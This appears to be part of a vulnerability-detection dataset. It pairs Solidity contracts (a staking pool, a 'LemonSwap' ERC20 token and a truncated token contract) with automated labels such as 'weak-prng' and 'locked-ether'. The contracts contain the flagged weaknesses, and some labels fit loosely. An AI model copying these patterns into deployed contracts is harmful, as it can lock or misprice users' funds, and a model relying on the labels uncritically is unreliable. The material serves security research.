* @dev tokens must be approved for contract before call this func
* @dev fires TokensStaked event
* @param amount - initial balance of deposit
* @param _poolId - id of pool of deposit,
* = 0 for 1 month, 1 for 6 months, 2 for 12 months
*/
function stake(uint256 amount, uint256 _poolId) external {
require(
token.balanceOf(_msgSender()) >= amount,
"Token: balance too low"
);
require(_poolId < pools.length, "Pool: wrong pool");
uint256 _maxUnstakeAmount = amount;
for (uint256 i; i < pools[_poolId].timeLockUp; i++) {
_maxUnstakeAmount += _maxUnstakeAmount * pools[_poolId].APY / PERSENT_BASE;
}
lockedAmount += _maxUnstakeAmount;
DepositInfo memory deposit = DepositInfo(
amount,
block.timestamp,
_poolId,
_maxUnstakeAmount
);
addressToDepositInfo[_msgSender()].push(deposit);
require(
lockedAmount <= token.balanceOf(address(this)) + amount,
"Token: do not have enouth tokens for reward"
);
require(
token.transferFrom(_msgSender(), address(this), amount),
"Token: token did not transfer"
);
emit TokensStaked(_msgSender(), amount, _poolId, block.timestamp);
}
/**
* @notice Withdraw deposit with _depositInfoId for caller,
* allow early withdraw, fire Withdraw event
* @param _depositInfoId - id of deposit of caller
*/
function withdraw(uint256 _depositInfoId) external {
require(
_depositInfoId < addressToDepositInfo[_msgSender()].length,
"Pool: wrong staking id"
);
DepositInfo memory deposit = addressToDepositInfo[_msgSender()][_depositInfoId];
require(deposit.amount != 0, "Deposit: tokens already been sended");
uint256 amount;
bool earlyWithdraw;
uint256 commissionAmount;
(amount, earlyWithdraw, commissionAmount) = getRewardAmount(_msgSender(), _depositInfoId);
delete addressToDepositInfo[_msgSender()][_depositInfoId];
lockedAmount -= deposit.maxUnstakeAmount;
if (commissionAmount > 0) {
require(
token.transfer(commissionAddress, commissionAmount),
"Token: can not transfer commission"
);
}
require(
token.transfer(_msgSender(), amount),
"Token: can not transfer reward"
);
emit Withdraw(_msgSender(), amount, deposit.poolId, earlyWithdraw);
}
/**
* @notice Withdraw excess of tokens from this contract,
* can be called only by admin,
* excess = balanceOf(this) - all deposits amount + max rewards,
* fire WithdrawExcess event
*/
function withdrawExcess() external onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 amount = token.balanceOf(address(this)) - lockedAmount;
require(amount > 0, "Token: do not have excess tokens");
require(
token.transfer(_msgSender(), amount),
"Token: can not transfer excess"
);
emit WithdrawExcess(_msgSender(), amount);
}
/**
* @notice Return all deposits of msg.sender,
* include unstaked deposits (with 0 amount)
* @return amounts - initial balance of deposit[i]
* @return starts - start time of deposit[i]
* @return poolIds - id of pool of deposit[i],
* = 0 for 1 month, 1 for 6 months, 2 for 12 months
*/
function getDepositInfo(address _user) external view returns (
uint256[] memory,
uint256[] memory,
uint256[] memory
)
{
uint256 depositsAmount = addressToDepositInfo[_user].length;
uint256[] memory amounts = new uint256[](depositsAmount);
uint256[] memory starts = new uint256[](depositsAmount);
uint256[] memory poolIds = new uint256[](depositsAmount);
for (uint256 i; i < depositsAmount; i++) {
amounts[i] = addressToDepositInfo[_user][i].amount;
starts[i] = addressToDepositInfo[_user][i].start;
poolIds[i] = addressToDepositInfo[_user][i].poolId;
}
return (amounts, starts, poolIds);
}
/**
* @notice Return reward amount of deposit with input params if unstake it now
* @param _user - address of deposit holder
* @param _depositInfoId - id of deposit of _user
* @return amount - reward amount = initial balance + reward - commission,
* if early unstake, else = initial balance + reward
* @return earlyWithdraw - if early unstake = true, else = false
* @return commissionAmount - amount of tokens written off for an early unstake,
* = 0 otherwise
*/
function getRewardAmount(
address _user,
uint256 _depositInfoId
) public view returns (
uint256,
bool,
uint256
)
{
DepositInfo memory deposit = addressToDepositInfo[_user][_depositInfoId];
Pool memory pool = pools[deposit.poolId];
bool earlyWithdraw = true;
if (deposit.start + MONTH * pool.timeLockUp <= block.timestamp) {
earlyWithdraw = false;
}
uint256 amount;
uint256 commissionAmount;
if (earlyWithdraw) {
amount = deposit.amount;
uint256 stakingMonths = (block.timestamp - deposit.start) / MONTH;
uint256 stakingDays = (block.timestamp - deposit.start) % MONTH / DAY;
for (uint256 i; i < stakingMonths; i++) {
amount += amount * pool.APY / PERSENT_BASE;
}
amount += amount * pool.APY * stakingDays / 30 / PERSENT_BASE;
commissionAmount = deposit.amount * pool.commission / PERSENT_BASE;
amount -= commissionAmount;
} else {
amount = deposit.maxUnstakeAmount;
}
return (amount, earlyWithdraw, commissionAmount);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol)
pragma solidity ^0.8.0;
import "../token/ERC20/IERC20.sol";
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) divide-before-multiply with Medium impact
3) uninitialized-local with Medium impact |
pragma solidity ^0.5.17;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts\open-zeppelin-contracts\math\SafeMath.sol
pragma solidity ^0.5.17;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: contracts\open-zeppelin-contracts\token\ERC20\ERC20.sol
pragma solidity ^0.5.17;
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* *
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
// File: contracts\ERC20\SimpleERC20Token.sol
pragma solidity ^0.5.17;
/**
* @dev Standard ERC20 token with burning and optional functions implemented.
* For full specification of ERC-20 standard see:
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract LemonSwap is ERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Constructor.
* @param name name of the token
* @param symbol symbol of the token, 3-4 chars is recommended
* @param decimals number of decimal places of one token unit, 18 is widely used
* @param totalSupply total supply of tokens in lowest units (depending on decimals)
* @param tokenOwnerAddress address that gets 100% of token supply
*/
constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply, address tokenOwnerAddress) public payable {
_name = name;
_symbol = symbol;
_decimals = decimals;
// set tokenOwnerAddress as owner of all tokens
_mint(tokenOwnerAddress, totalSupply);
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of lowest token units to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
// optional functions from ERC20 stardard
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
